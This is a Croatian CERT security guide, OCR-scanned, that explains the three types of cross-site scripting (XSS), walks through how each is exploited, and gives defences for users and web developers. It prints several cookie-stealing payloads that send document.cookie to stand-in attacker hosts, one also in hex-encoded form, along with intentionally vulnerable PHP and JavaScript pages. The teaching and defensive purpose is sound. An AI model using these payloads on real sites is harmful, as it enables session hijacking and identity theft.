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Sigurnosni problemi u ra¢unalnim programima i operativnim sustavima podrucje je
na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument, koji je nastao suradnjom CARNet CERT-a i
LS&S-a, a za koji se nadamo se da ¢e Vam koristiti u poboljSanju sigurnosti Vaseg
sustava.

CARNet CERT, www.cert.hr - nacionalno srediSte za sigurnost

racunalnih mreza i sustava.

LS &S, www.lss.hr - laboratorij za sustave 1 signale pri Zavodu za
elektronicke sustave i1 obradbu informacija Fakulteta elektrotehnike 1
raCunarstva SveuciliSta u Zagrebu.

Ovaj dokument predstavlja vlasnistvo CARNet-a (CARNet CERT-a). Namijenjen je za javnu objavu, njime se
moze svatko koristiti, na njega se pozivati, ali samo u originalnom obliku, bez ikakvih izmjena, uz obavezno
navodenje izvora podataka. Koristenje ovog dokumenta protivho gornjim navodima, povreda je autorskih
prava CARNet-a, sukladno Zakonu o autorskim pravima. Pocinitelj takve aktivnosti podlijeze kaznenoj
odgovornosti koja je regulirana Kaznenim zakonom RH.
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1. Uvod

Web stranice sadrze tekst i HTML oznake koje se generiraju na strani posluzitelja te interpretiraju
unutar preglednika na klijentskoj strani. Web posluzitelji koji generiraju samo statiCke web stranice
imaju potpunu kontrolu nad time kako ¢e klijentski preglednik interpretirati te stranice dok oni
posluzitelji koji generiraju dinami¢ke web stranice nemaju tu mogucnost. Naime, dinamicki web
sadrzaj generira se na temelju ulaznih korisnickih podataka kako bi se ostvarila odredena razina
interakcije s korisnikom pa sam korisnik utjee na izgled, sadrzaj i ponasSanje web stranice koju je
zatrazio od web posluzitelja. Ako se putem spomenutih ulaznih korisnickih podataka u ranjivu
dinamic¢ku web stranicu umetne neki zlonamjerni sadrzaj, u vecini slu¢ajeva ni web posluzitelj ni
klijent nece biti u moguénosti to prepoznati ili sprijeciti.

XSS (eng. Cross-site scripting) ranjivost odnosi se upravo na takav nedostatak unutar web stranice
koji potencijalnim napadacima omogucava umetanje i izvrSavanje zlonamjernog skriptnog koda
unutar ranjive stranice. Zloupotreba XSS sigurnosnog nedostatka obi¢no rezultira kompromitiranjem
sigurnosne politike skriptnih jezika ¢iji kod se izvrSava na strani klijenta tako da se korisnik ili njegovi
povjerljivi podaci preusmjere s legitimnog na neki maliciozni web posluzitelj, ¢ime se zaobilaze
domenske restrikcije posluzitelja.

U ovom dokumentu opisani su razli€iti tipovi XSS ranjivosti i napada te primjeri istih. Takoder je dan
pregled najefikasnijih metoda zastite od potencijalnih XSS napada.
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2. XSS sigurnosni propusti

XSS sigurnosni propust podrazumijeva moguénost umetanja zlonamjernih podataka od strane
udaljenog napadaca unutar ranjive web stranice. Navedeni zlonamjerni podaci obi¢no su sastavni dio
nekog pazljivo kreiranog hiperlinka kojeg ¢e potencijalni napada¢ smjestiti na svoju web stranicu ili
unutar sadrzaja elektronicke posSte, te navesti korisnika da ga aktivira. Nakon Sto legitimni web
posluzitelj preko takvog hiperlinka zaprimi zahtjev za ranjivom stranicom popracen s malicioznim
podacima, generirat ¢e izlazni HTML sadrzaj koji ¢e izgledati kao valjana web stranica s legitimnog
posluzitelja, ali koja ¢e, unutar korisnikovog preglednika, izvrsiti zlonamjerni skriptni kod.

2.1. Tipovi XSS propusta

Prema dosada$njim podacima, postoje tri razlicita tipa XSS ranjivosti. Oni su ovdje oznaceni kao tip
0, 1 12, no ti nazivi ne predstavljaju nikakvu standardiziranu nomenklaturu.

2.1.1. Tip0

Ovaj oblik XSS nedostatka poznatiji je pod nazivom DOM (eng. Document Object Model) bazirani ili
lokalni XSS sigurnosni nedostatak. Za razliku od ostalih tipova XSS ranjivosti, ovdje zlonamjerni
skriptni kod nije prethodno ugnijezden u neku dinamicki generiranu izlaznu web stranicu na strani
web posluzitelja. Kod DOM baziranog XSS nedostatka sigurnosni problem je zapravo vezan za nacin
na koji korisnikov preglednik interpretira ranjivu web stranicu u svom izvornom obliku u kombinaciji
sa zlonamjernim ulaznim podacima.

Kada se JavaScript kod, koji je ugnijezden unutar HTML sadrzaja web stranice, izvr§ava unutar
preglednika, preglednik automatski kreira nekoliko objekata koji predstavljaju DOM. Objekt
document, korijenski element u navedenom modelu, omogucava pristup veéini postavaki doticne web
stranice. Bitno je napomenuti kako su vrijednosti pridruZene tim postavkama oblikovane sa stanovista
preglednika, a ne na temelju dobivenog HTML sadrzaja. Neki od podobjekata koje objekt document
sadrzi, a koji su vezani za DOM bazirani XSS nedostatak, su location, URL i referrer. Njihove
vrijednosti nisu izdvojene iz HTML sadrzaja dobivene web stranice, nego su popunjene drugim
podacima dostupnima pregledniku. Ako dio JavaScript koda ugnijezdenog u web stranici dohvaca
vrijednost, na primjer, document. URL parametra i koristi je za generiranje novog HTML sadrzaja koji
se upisuje u istu web stranicu, postoji moguénost pojave DOM baziranog XSS sigurnosnog
nedostatka. Naime, ako spomenuta dohvacena vrijednost document. URL parametra sadrzi zlonamjerni
JavaScript kod, a ne kodira se koriStenjem odgovaraju¢ih HTML entiteta prije ispisa na stranicu, taj
upravo generirani novi HTML sadrzaj biti ¢e reinterpretiran od strane preglednika kao skriptni kod, a
ne kao obican tekst, pa ¢e se umetnuti zlonamjerni JavaScript kod zaista i izvrsiti.

Zloupotreba opisanog sigurnosnog propusta zapravo je vrlo sli¢na zloupotrebi XSS nedostatka tipa 1,
no kontekst u kojem se napad provodi znatno je drugaciji. Naime, skriptnim kodom koji se izvrSava
na strani klijenta, web preglednici upravljaju pomocu objekata koji se nalaze u tzv. lokalnoj zoni, npr.
na korisnikovom lokalnom ¢vrstom disku. Stoga se umetnuti zlonamjerni skriptni kod moze izvoditi
na korisnikovom sustavu i to s ovlastima korisnikovog web preglednika. Time se zaobilazi cjelokupna
sigurnosna okolina na strani klijenta (eng. sandbox), a ne samo domenske restrikcije web poluzitelja
$to je uobicajeno za ostale tipove XSS nedostataka.

2.1.2. Tipl

XSS nedostatak tipa 1 obi¢no se naziva jednokratnom XSS ranjivoscéu (eng. non-persistent), posto
zlonamjerni skriptni kod nije trajno pohranjen na strani web posluzitelja nego se umece u web stranicu
koja predstavlja odgovor web posluzitelja na korisnikov HTTP zahtjev.

Do problema dolazi kada se ulazni korisnic¢ki podaci zaprimljeni od web klijenta izravno koriste od
strane posluziteljskih skripti u svrhu generiranja nove web stranice koja se isporucuje korisniku. Ako
se neprovjereni ulazni korisnic¢ki podaci ukljucuju u rezultiraju¢u web stranicu bez prethodnog HTML
kodiranja, potencijalnom napadacu se omoguéava umetanje proizvoljnog skriptnog koda u HTML
sadrzaj generirane dinamicke web stranice.

Na prvi pogled, ovaj nedostatak ne doima se narocito opasnim, s obzirom na to da korisnici mogu
umetnuti skriptni kod samo u web stranice kojima imaju dozvoljen pristup. No, u kombinaciji sa
socijalnim inZenjeringom, napada¢ moze navesti korisnika da aktivira zlonamjerni hiperlink koji ¢e
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potom umetnuti skriptni kod u rezultirajuéu dinamicku web stranicu te tako napadacu omoguciti
potpuni pristup sadrzaju ranjive web stranice.
Opisani sigurnosni nedostatak najces¢i je od svih tipova XSS nedostataka.

2.1.3. Tip2

XSS nedostatak tipa 2 ili trajni XSS nedostatak (eng. persistent) specifi¢an je po tome §to zlonamjerni
skriptni kod ostaje trajno pohranjen na strani web posluzitelja te ga posluzitelj moze opetovano
umetati u web stranice koje se korisniku $alju kao rezultat njegovog HTTP zahtjeva.

Ovaj propust javlja se u situaciji kada se zaprimljeni ulazni korisnicki podaci permanentno pohranjuju
na strani posluzitelja (u bazi podataka, unutar datotecnog sustava i sl.) te kasnije prikazuju ostalim
korisnicima na web stranici bez prethodnog HTML kodiranja. Najbolji primjer navedenih okolnosti
predstavljaju web stranice kreirane u obliku foruma, koje korisnicima omogucavaju slanje poruka u
HTML formatu.

Posto maliciozni korisnik na ovaj nacin moze ostvariti viSestruke napade na velik broj korisnika
nakon samo jedne akcije, trajni XSS nedostatak smatra se najopasnijim tipom XSS sigurnosnih
nedostataka.

3. Iskoristavanje XSS propusta

IskoriStavanje XSS sigurnosnih nedostataka manifestira se umetanjem zlonamjernog JavaScript,
VBScript, ActiveX, HTML ili Flash koda u ranjive web stranice. Posljedice takve zloupotrebe
ukljucuju sljedece slucajeve:

e korisnici mogu nesvjesno izvrSavati maliciozni skriptni kod prilikom pregledavanja web
stranica dinamicki generiranih na temelju napadacevih ulaznih podataka,

e napada¢ moze preusmjeriti korisnika na proizvoljni maliciozni posluzitelj,

e napada¢ moze preuzeti korisnicku sjednicu kradom njegovih kolaci¢a te zloupotrebljavati
korisnikov identitet, mijenjati postavke njegovog racuna ili iskoriStavati ostale potencijalne
sigurnosne ranjivosti na posluzitelju za §to inace nema dovoljne ovlasti,

e korisnici mogu nesvjesno izvrSavati napadacev maliciozni skriptni kod unutar potencijalno
nesigurnog web preglednika i ako napadac ciljano zloupotrijebi neki potencijalni sigurnosni
propust unutar web preglednika, omoguéava mu se udaljeno izvodenje proizvoljnog
zlonamjernog koda na korisnikovom sustavu pod ovlastima web preglednika, itd...

3.1.  Socijalni inZenjering
Vecina XSS napada zahtijeva odredenu dozu socijalnog inZenjeringa kako bi se korisnika uvjerilo u
lazni identitet napadaca. Prikrivanjem zlonamjernog koda unutar hiperlinka koji naizgled usmjerava
korisnika na zanimljivi sadrzaj, maliciozni korisnik moze vrlo lako ostvariti XSS napad. Korisniku je
takav pazljivo kreirani hiperlink obi¢no raspoloziv unutar elektronicke poste ili instantne poruke, na
web stranici ili forumu. Neki klijenti elektronicke poste mogu ¢ak pokrenuti izvrSavanje zlonamjernog
koda odmah po otvaranju elektronicke poste koja u privitku sadrzi skriptni kod.
Posto se XSS ranjivosti i moguénosti njihove zloupotrebe mogu medusobno uvelike razlikovati,
napada¢ mora utrositi odredeno vrijeme na oblikovanje izlaznog HTML sadrzaja sa zlonamjernim
skriptnim kodom. Umetanjem koda u ranjivu web stranicu, njen izgled ¢e se promijeniti pa stranica
moze izgledati i kao neispravna. Zavrsni rezultat od iznimne je vaznosti i napada¢ mora doraditi napad
do te razine da se web stranica generirana od strane posluzitelja doima kao ispravna te kao sastavni
dio svog okruzenja na legitimnom posluzitelju.
Jos jedan od nacina prikrivanja XSS napada je kodiranje odredenih dijelova malicioznog hiperlinka u
heksadecimalni oblik kojeg, kao i ASCII oblik, svi web preglednici jednako tumaée. Cinjenica je da
takav znakovni niz moze izgledati sumnjivo, ali zlonamjerni skriptni kod prosje¢nom korisniku je
zasigurno manje uocljiv u heksadecimalnom formatu.
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ASCII format

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=
['http://freewebhost.com/ph33r/steal.cgi?'+document.cookie]

Heksadecimalni format

http://localhost/nuke73/modules.php?name=
1) | News&file=article&sid=1&optionbox=5b27687474703a2f2f66726565776562686f73742e636
f6d2f70683333722f737465616c2e6367693f272b646f63756d656e742e636f6f6b69655d

http://localhost/nuke73/modules.php%3Fname%3D
2) | News%?26file%3Darticle%26sid%3D1%260optionbox%3D%5B
%27http%3A//freewebhost.com/ph33r/steal.cgi%3F%27%2Bdocument.cookie%5D

Slika 1: Primjer heksadecimalnog kodiranja

3.2. Primjeri XSS napada

Napadaci koji namjeravaju iskoristiti potencijalni XSS sigurnosni nedostatak, svakom tipu nedostatka
moraju pristupiti na odgovaraju¢i nacin. U ovom poglavlju dan je opis i primjer zloupotrebe za svaki
od tri klasificirana XSS propusta.

32.1. Tip0

Primjer procedure za iskoriStavanje XSS sigurnosnog propusta, tip 0:

0) Pocetna web stranica na legitimnom web posluzitelju na nesiguran nacin procesira ulazne
korisni¢ke podatke §to rezultira postojanjem XSS sigurnosnog nedostatka tipa 0.

1) Napadac¢ kreira hiperlink koji, osim URL-a legitimnog posluzitelja, sadrzi i zlonamjerni
skriptni kod.

2) Napadac $alje zlonamjerni hiperlink korisniku (npr. putem elektonicke poste).

3) Korisnik aktivira hiperlink, pri ¢emu se legitimnom web posluzitelju Salje HTTP zahtjev za
ranjivom web stranicom.

4) Legitimni web posluzitelj Salje korisniku ranjivu web stranicu kao HTTP odgovor.
Zlonamjerni skriptni kod nije umetnut u poslanu web stranicu, nego je jos uvijek sadrzan
samo unutar hiperlinka.

5) Korisnikov web preglednik interpretira ranjivu web stranicu koja se sada nalazi na lokalnom
korisnikovom sustavu. Nailaskom na ranjivi dio stranice, aktivira se zlonamjerni skriptni kod
iz hiperlinka (kao vrijednost jednog od parametara dobivene web stranice), koji se potom
izvrSava s ovlastima web preglednika unutar lokalne zone korisnikovog racunala.
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Korisnikov Zlonamjerni Maliciozni Legitimni
preglednik skriptni kod posluzitelj posluzitel
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1
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1
1
1
1
1
1
1
1
[}
[}
1

Slika 2: XSS napad tipa 0
Primjer

Ranjiva web stranica:

http://www.legitimni_posluzitelj.com/dobrodosli.html

<HTML>
<BODY>
Dobar dan
<SCRIPT>

//odredivanje pozicije na kojoj poc¢inje korisnic¢ko ime unutar URL-a
var pozicija = document.URL.indexOf ("ime=")+4;

//neprovjereni 1 nekodirani ispis wulaznog znakovnog niza (korisnickog imena)
//zaprimljenog unutar URL-a
document .write (document.URL.substring(pozicija, document.URL.length));

</SCRIPT>

</BODY>
</HTML>

Zlonamjerni hiperlink:
http://www.legitimni_posluzitelj.com/dobrodosli.html?ime=<script>alert(document.cookie)</script>
Prilozeni primjer zlonamjernog hiperlinka zapravo ne moze nanijeti nikakvu Stetu korisniku, ali
dokazuje da napada¢ moze izvrSiti proizvoljni skriptni kod na korisnikovom racunalu. Prilikom

aktivacije ovog bezopasnog hiperlinka, korisniku se prikazuje prozor s porukom koja sadrzi njegov
kolac¢i¢ vezan uz posjeéeni legitimni web posluzitelj.
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32.2. Tipl

Primjer procedure za iskoriStavanje XSS sigurnosnog propusta, tip 1:

0) Ciljni korisnik posjecuje odredeni legitimni web posluzitelj na koji se prijavljuje putem
korisni¢kog imena i zaporke te je u moguénosti tamo trajno pohraniti osjetljive podatke, npr.
informacije o kreditnoj kartici. Doti¢ni web posluzitelj sadrzi XSS nedostatak tipa 1.

1) Napadac¢ kreira hiperlink koji, osim URL-a legitimnog posluzitelja, sadrzi i zlonamjerni
skriptni kod.

2) Napadac salje zlonamjerni hiperlink korisniku (npr. putem elektronicke poste) tako da isti
izgleda kao da potjece od strane legitimnog posluzitelja.

3) Korisnik aktivira hiperlink, pri ¢emu se legitimnom web posluzitelju Salje HTTP zahtjev za
ranjivom web stranicom. Korisnik je prijavljen na legitimni posluzitel;.

4) Legitimni web posluzitelj generira dinami¢ku web stranicu tako da ista, zbog postojeceg
XSS propusta, sadrzi umetnuti zlonamjerni skriptni kod i Salje je korisniku kao HTTP
odgovor.

5) Zlonamjerni skriptni kod iz zaprimljene web stranice izvrSava se unutar korisnikovog web
preglednika s istim ovlastima kao da je potekao od legitimnog posluzitelja.

6) Zlonamjerni skriptni kod dohvati korisnikove kolacice vezane uz legitimni posluzitelj.
Doticni kolaci¢i mogu sadrzavati korisnicke autentikacijske podatke ili informacije vezane
za kreditnu karticu.

7) Korisnikov web preglednik dobiva informaciju o preusmjeravanju na maliciozni web
posluzitelj koji je pod napadacevom kontrolom.

8) Sakupljeni kolaci¢i Salju se na maliciozni posluzitelj bez korisnikovog znanja. Napadacu se
otvara moguénost krade korisnikovog identiteta.

Korisnikov Zlonamjerni Maliciozni Legitimni
preglednik skriptni kod poslu:liitelj posluzitel

Napadac¢

1: kreiranje zlonamjernog hiperlinka

M

2: slanje hiperlinka korisniku

P

3: zahtjev za ranjivom web stranicom

4: slanje ranjive web stranice korisniku

5: izvodenje koda i

6: sakupljanje korisnikovih kolaci¢a

]

7: preusmjeravanje na maliciozni posluZitelj

|
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
A
1
1
1
1
AN
1
1
1
1
1
1
1
1
1
1
)
|
[l
]
|
1
[}
1

1
8: slanje kolaci¢a na maliciozni posluzitelj
i
1
1
1

Slika 3: XSS napad tipa 1
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Primjer

Ranjiva web stranica:

http://www.legitimni_posluzitelj.com/trazilica.php

<HTML>
<BODY>

Trazeni pojam
<?php

echo $ GET['pojam']; //neprovjereni i nekodirani ispis trazZenog pojma

?>
nije pronaden.

</BODY>
</HTML>

Zlonamjerni hiperlink:

http://www.legitimni_posluzitelj.com/trazilica.php?pojam=<script>document.location="http://www.m
aliciozni_posluzitelj.com/napad.cgi?'+document.cookie</script>

3.2.3. Tip2

Primjer procedure za iskoriStavanje XSS sigurnosnog propusta, tip 2:

0) Legitimni web posluzitelj korisnicima omogucava trajno postavljanje poruka i ostalog
sadrzaja na svoje web stranice kako bi ih ostali korisnici mogli pregledavati. Web stranica
koja zaprima spomenute korisnicke podatke sadrzi XSS nedostatak tipa 2.

1) Napadac¢ na doti¢nu ranjivu web stranicu postavi poruku koja sadrzi i zlonamjerni skriptni
kod. Naslov poruke osmisljen je tako da privuce $to je viSe moguce korisnika. Takva poruka
trajno je pohranjena na strani posluzitelja i prilikom svakog generiranja odgovarajuce
dinamicke web stranice, poruka sa zlonamjernim kodom biti ¢e ukljuc¢ena u nju.

2) Korisnik pristupi web stranici s napadac¢evom porukom, tj. zatrazi je od legitimnog web
posluzitelja.

3) Korisnik je prijavljen na legitimni posluzitel;.

4) Legitimni web posluzitelj generira dinamicku web stranicu s umetnutim zlonamjernim
skriptnim kodom i Salje je korisniku kao HTTP odgovor.

5) Zlonamjerni skriptni kod iz zaprimljene web stranice izvrSava se unutar korisnikovog web
preglednika s istim ovlastima kao da je potekao od legitimnog posluzitelja.

6) Zlonamjerni skriptni kod dohvati korisnikove kolaci¢e vezane uz legitimni posluzitelj.

7) Korisnikov web preglednik dobiva informaciju o preusmjeravanju na maliciozni web
posluzitelj koji je pod napada¢evom kontrolom.

8) Sakupljeni kolaci¢i Salju se na maliciozni posluzitelj bez korisnikovog znanja. Napadacu se
otvara mogucnost krade korisnikovog identiteta.
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Korisnikov Zlonamjerni Maliciozni Legitimni
preglednik skriptni kod poslu:liitelj posluzitelj
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]

7: preusmjeravanje na maliciozni posluZitelj

e

E 8: slanje kolaci¢a na maliciozni posluzitelj
L

Primjer

___.[:I .

Slika 4: XSS napad tipa 2

Napadacev hiperlink za postavljanje poruke na ranjivu web stranicu:

http://www.legitimni_posluzitelj.com/unos.php?poruka=Lazna_poruka<script>document.location="htt

p://www.maliciozni_posluzitelj.com/napad.cgi?'+document.cookie</script>

Nakon §to je zaprimljena, poruka se trajno pohranjuje na strani posluzitelja i dodjeljuje joj se neki ID

(identifikacijski broj), npr. 37.

Ranjiva web stranica:

http://www.legitimni_posluzitelj.com/prikaz.php

<HTML>
<BODY>
<?php

Sporuka = dohvati poruku($ GET['poruka id']);

na temelju parametra poruka id

//dohvac¢anje odgovarajuce poruke

echo S$poruka; //neprovjereni i nekodirani ispis poruke

?>
</BODY>
</HTML>

Hiperlink koji korisnik aktivira kako bi pristupio poruci:

http://www.legitimni_posluzitelj.com/prikaz.php?poruka id=37
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4. Prevencija XSS napada

4.1. Preporuke za korisnike

Najlaksi nac¢in na koji se korisnik moze zastititi od potencijalnih XSS napada je izbjegavanje
posjecivanja neprovjerenih hiperlinkova koje dobiva putem elektroni¢ke poste ili nalazi na forumima.
Ako ve¢ zeli posjetiti web stranicu na koju upucuje dobiveni neprovjereni hiperlink, preporuca se
samostalno pozicioniranje na web posluzitelj naveden u hiperlinku te nalazenje Zeljenog sadrzaja
putem traZilice na tom posluzitelju.

Jos jedna od stvari na koju korisnik treba obratiti paznju su heksadecimalni znakovi. Ako zaprimljeni
neprovjereni hiperlink sadrzi heksadecimalne znakove, postoji odredena vjerojatnost da se iza njega
krije potencijalni pokuSaj XSS napada.

Jedna od zasigurno najefikasnijih metoda zastite je postavljanje sigurnosnih postavki web preglednika
na najvisu razinu te onemogucavanje izvrSavanja JavaScript, Flash, VBScript i ActiveX koda na strani
klijenta. Na ovaj nacin korisnik nece biti podlozan XSS napadu cak ni ako se zlonamjerni skriptni kod
prikaze na web stranici bez prethodnog HTML kodiranja. Mnogi web preglednici mogu biti
konfigurirani tako da onemoguce izvodenje skriptnog koda za pojedine, korisnicki definirane, web
domene. Premda se prilikom koriStenja ove metode Cesto dogada da se dinamicki generirane web
stranice prikazuju nepotpune ili je njihovo pregledavanje ¢ak u cijelosti onemoguceno, €injenica je da
je potencijalnom napadacu sasvim onemoguceno izvodenje XSS napada.

4.2. Preporuke za web programere

Prije svega potrebno je napomenuti da web stranice koje koriste SSL protokol za komunikaciju s
korisnicima nisu ni na koji nacin zasticene od potencijalnih XSS napada. Naime, ranjive web stranice
generiraju se na identi¢an nacin kao i bez koriStenja SSL-a, pa se tako i zloupotreba XSS nedostataka
odvija na jednak nacin. Jedina razlika je Sto se, u slucaju uporabe SSL protokola, i potencijalni XSS
napad provodi unutar kriptirane konekcije.

Postoje razli¢iti nacini na koje je moguce rijesiti problem pojave XSS ranjivosti. Sve metode su
prili¢no jednostavne i trebale bi se primjenjivati na svim mjestima gdje se ulazni korisnicki podaci
pojavljuju na rezultiraju¢oj web stranici.

Metode prevencije XSS napada navedene u ovom poglavlju biti ¢e opisane koristenjem sljedeceg
primjera:

Primjer

Prilozena Apache::Registry skripta dohvaca parametar fekst Cija vrijednost predstavlja ulazne
korisni¢ke podatke i ispisuje ga na stranicu bez ikakve prethodne provjere ili kriptiranja. Skripta
sadrzi XSS sigurnosni nedostatak tipa 1.

use Apache::Util;
use Apache::Request;

my S$apr = Apache::Request->new (Apache->request) ;
my Stekst = Sapr->param('tekst');

Sr->content type ("text/html");
Sr->send http header;

Sr->print ("Uneseni znakovni niz: $tekst");

4.2.1. Analiza ulaznih podataka

Jedna od metoda prevencije XSS napada je filtriranje znakova koje web aplikacija zaprima od
korisnika. Preporuca se uvazavanje, odnosno, propustanje samo alfanumerickih znakova i razmaka.
Znakovi prilozeni u tablici Tablica Iobi¢no se koriste prilikom izvodenja XSS napada, stoga bi
njihovo koriStenje trebalo strogo zabraniti, tj. izbaciti iz svih ulaznih korisnickih podataka.

Revizija v1.0 CCERT-PUBDOC-2006-05-157 Stranica 12/ 15



“fﬁﬁu\«k\dﬂﬁs [X7X 3

> ( [ ! ; / #
< ) ] " : \ &

Tablica 1: Specijalni znakovi specifi¢ni za XSS napade

Primjer

Prije ispisa korisnickih podataka na stranicu, umece se linija koda koja iz parametra tekst eliminira sve
znakove osim slova, brojeva i razmaka.

use Apache::Util;
use Apache::Request;

my S$apr = Apache::Request->new (Apache->request) ;

my Stekst = Sapr->param('tekst');
Stekst =~ s/["A-Za-2z0-9 1*/ /g;

Sr->content type ("text/html");
Sr->send http header;

Sr->print ("Uneseni znakovni niz: $tekst");

4.2.2. HTML kodiranje ulaznih znakova
Znakovi specifi¢ni za XSS napade imaju odgovaraju¢e HTML ekvivalente pomoc¢u kojih se poniStava

njihovo specijalno znacenje, a omogucava siguran ispis na stranicu. Ako se, na primjer, unutar web
stranice nalazi linija koda:

<script>alert ('XSS ranjivost')</script>

prilikom njene interpretacije od strane web preglednika, pojavit ¢e se prozor s porukom koja sadrzi
tekst ,, XSS ranjivost®. No, ako se unutar iste linije koda odredeni znakovi zamijene svojim HTML
ekvivalentima:

&lt;scripté&gt;alert (&#39;XSS ranjivost&#39;)&lt; &#47;script&gt;

na stranici ¢e se prikazati znakovni niz ,,<script>alert("XSS ranjivost")</script>*.

Tablica Tablica 2 sadrzi HTML ekvivalente znakova koji se najceS¢e koriste prilikom izvodenja XSS
napada.

> &gty | (0 &H4A0; | [ &H91; | ' &#39; | 5 &#59; | /¢ &fras; &#35;
< &lt; | ) &#41; | ] &#93; | " &quot; | ¢ &#58; |\ | &#92; | & | &amp;

I+

Tablica 2: HTML ekvivalenti specijalnih znakova

Kako bi se web programerima olakSalo HTML kodiranje, u mnogim programskim jezicima
raspolozive su gotove funkcije koje provode HTML kodiranje.

Primjer

Prije ispisa korisnickih podataka na stranicu, poziva se funkcija Apache::Util::escape html() iz
mod_perl paketa, nad parametrom tekst.

use Apache::Util;
use Apache::Request;

my S$apr = Apache::Request->new (Apache->request) ;

my S$tekst = Sapr->param('tekst');
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Sr->content type ("text/html");
$r->send http header;

Sr->print ("Uneseni znakovni niz: ", Apache::Util::html encode ($tekst));

4.2.3. Apache::TaintRequest

Kako bi se izbjeglo viSestruko pozivanje funkcije Apache::Util::html encode(), moguce je koristiti
Apache::TaintRequest modul. Navedeni modul omogucava automatizaciju procesa HTML kodiranja
tako da premosSc¢uje ispisni mehanizam Apache mod perl modula. Na taj nacin se svaki znakovni niz
zaprimljen od strane korisnika provjerava i, ako se smatra potencijalno zlonamjernim, provodi se
automatsko HTML kodiranje doti¢nog niza prije njegovog ispisa na stranicu.

Za aktivaciju Apache::TaintRequest modula, potrebno je dodati slijede¢u postavku u konfiguracijsku
datoteku Apache web posluzitelja (httpd.conf):

PerlTaintCheck on
Primjer

Umjesto Apache::Request modula, za procesiranje HTTP zahtjeva koristi se Apache::TaintRequest
modul. Ulazni korisnic¢ki podaci automatski se provjeravaju i po potrebi kodiraju u HTML entitete.

use Apache::TaintRequest;
my S$apr = Apache::TaintRequest->new (Apache->request) ;
my Stekst = Sapr->param('tekst');

Sr->content type ("text/html");
$r->send http header;

Sr->print ("Uneseni znakovni niz: $tekst");
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5. Zakljucak

Nazalost, XSS sigurnosni propusti se nalaze na vec¢ini postoje¢ih web stranica. Svakodnevno se na
sigurnosnim portalima objavljuju sigurnosna upozorenja vezana uz XSS sigurnosne propuste
otkrivene u brojnim web programskim paketima (forumi, administracijske stranice, blog, CMS —
Content Management System, itd...). Napadac¢ iskoriStavanjem opisanih sigurnosnih propusta moze
saznati razli¢ite autentikacijske podatke korisnika, od ¢ega je najopasniji slucaj ukoliko uspije saznati
korisnikove podatke s kreditnih kartica.

Zbog svega navedenog, programeri web stranica moraju voditi ratuna o tome da izbjegnu
omogucavanje razlicitih XSS propusta u svojim web stranicama. U suprotnom, i oni i vlasnici tih web
stranica mogu izgubiti na ugledu i kredibilitetu.

U svrhu suzbijanja utjecaja XSS sigurnosnih propusta moraju se ukljuciti i krajnji korisnici koji
moraju obratiti viSe paznje hiperlinkovima koje posjecuju. U slucaju bavljenja osjetljivim poslovima,
krajnji korisnici moraju postaviti sigurnosne postavke web preglednika na najviSu razinu te
onemoguciti izvrSavanje JavaScript, Flash, VBScript i ActiveX koda na strani klijenta.
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